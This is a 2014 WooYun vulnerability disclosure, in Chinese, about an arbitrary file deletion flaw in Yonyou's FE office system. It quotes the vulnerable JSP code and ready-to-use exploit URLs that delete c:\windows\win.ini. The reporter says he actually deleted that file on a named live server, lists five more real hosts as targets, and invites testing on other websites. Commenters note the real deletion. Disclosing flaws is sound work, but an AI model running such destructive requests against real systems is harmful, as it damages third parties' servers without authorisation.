当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-075068

漏洞标题:用友某系统任意文件删除漏洞

相关厂商:用友软件

漏洞作者: 路人甲

提交时间:2014-09-05 16:54

修复时间:2014-12-01 16:56

公开时间:2014-12-01 16:56

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:10

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-05: 细节已通知厂商并且等待厂商处理中
2014-09-10: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2014-11-04: 细节向核心白帽子及相关领域专家公开
2014-11-14: 细节向普通白帽子公开
2014-11-24: 细节向实习白帽子公开
2014-12-01: 细节向公众公开

简要描述:

用友FE协同办公系统某处验证不严,导致任意文件删除漏洞

详细说明:

漏洞影响版本V5.5.2
漏洞文件:/sys/file_setup/deletefolder.jsp?path=
漏洞参数:path
/sys/file_setup/deletefolder.jsp源代码如下:
---------------------------------------------
<%
String path=request.getParameter("path");
if(path==null|| "".equals(path))
path=(String)request.getAttribute("path");
if(path==null||path.equals("")){
out.println("你没有权限访问或者设置根目录,请联系系统管理员");
return;
}
if(path==null)path="";
String delPath=path;
delPath=delPath.replace(java.io.File.separatorChar,'/');
File delFile=new File(delPath);
boolean is=false;
if(delFile.exists()){
is=delFile.delete();
}
if(is){
%>
<script language="javascript">
alert("删除成功!");
var reloadSrc=parent.westFrame;
reloadSrc.location.href=reloadSrc.location.href;
</script>
<%
}
else{
%>
<script language="javascript">
alert("文件被其他人员打开,稍候再删除!");
var reloadSrc=parent.westFrame;
</script>
<%
}
%>
---------------------------------------------------
path参数用户可控,并且没有进行文件路径验证,导致任意文件删除漏洞!

漏洞证明:

以http://oa.hzuf.com:9090 作为测试案例:
1)第一次访问:
http://oa.hzuf.com:9090/sys/file_setup/deletefolder.jsp?path=c:\windows\win.ini

1.png


可以看到系统提示:”删除成功”!
2)第二次访问:
http://oa.hzuf.com:9090/sys/file_setup/deletefolder.jsp?path=c:\windows\win.ini

2.png


根据源代码逻辑可以判断,系统文件c:\windows\win.ini已经被成功删除。
c:\windows\win.ini文件已经被删除了,审核测试的时候可以换成其他文件,或者换下其他网站进行测试
其他测试案例:
http://119.145.194.122:9090/sys/file_setup/deletefolder.jsp?path=c:\windows\win.ini
http://220.168.210.109:9090/sys/file_setup/deletefolder.jsp?path=c:\windows\win.ini
http://oa.chnjcdc.com:9090/sys/file_setup/deletefolder.jsp?path=c:\windows\win.ini
http://oa.shunhengli.com:9090/sys/file_setup/deletefolder.jsp?path=c:\windows\win.ini
http://oa.linya.cn:9099/sys/file_setup/deletefolder.jsp?path=c:\windows\win.ini

修复方案:

权限控制

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2014-12-01 16:56

厂商回复:

最新状态:

暂无


漏洞评价:

评论

  1. 2014-12-01 17:28 | she11 ( 路人 | Rank:10 漏洞数:1 | 混个脸熟)

    哥们你太狠了,真删啊。

  2. 2014-12-02 15:21 | char ( 路人 | Rank:13 漏洞数:3 | 中国平安,不只保险这么简单。)

    @wangl 碰到个比你还狠的。

  3. 2014-12-02 16:12 | Wangl ( 实习白帽子 | Rank:33 漏洞数:4 | 新浪支付,值得拥有)

    @char 还是这小哥牛B。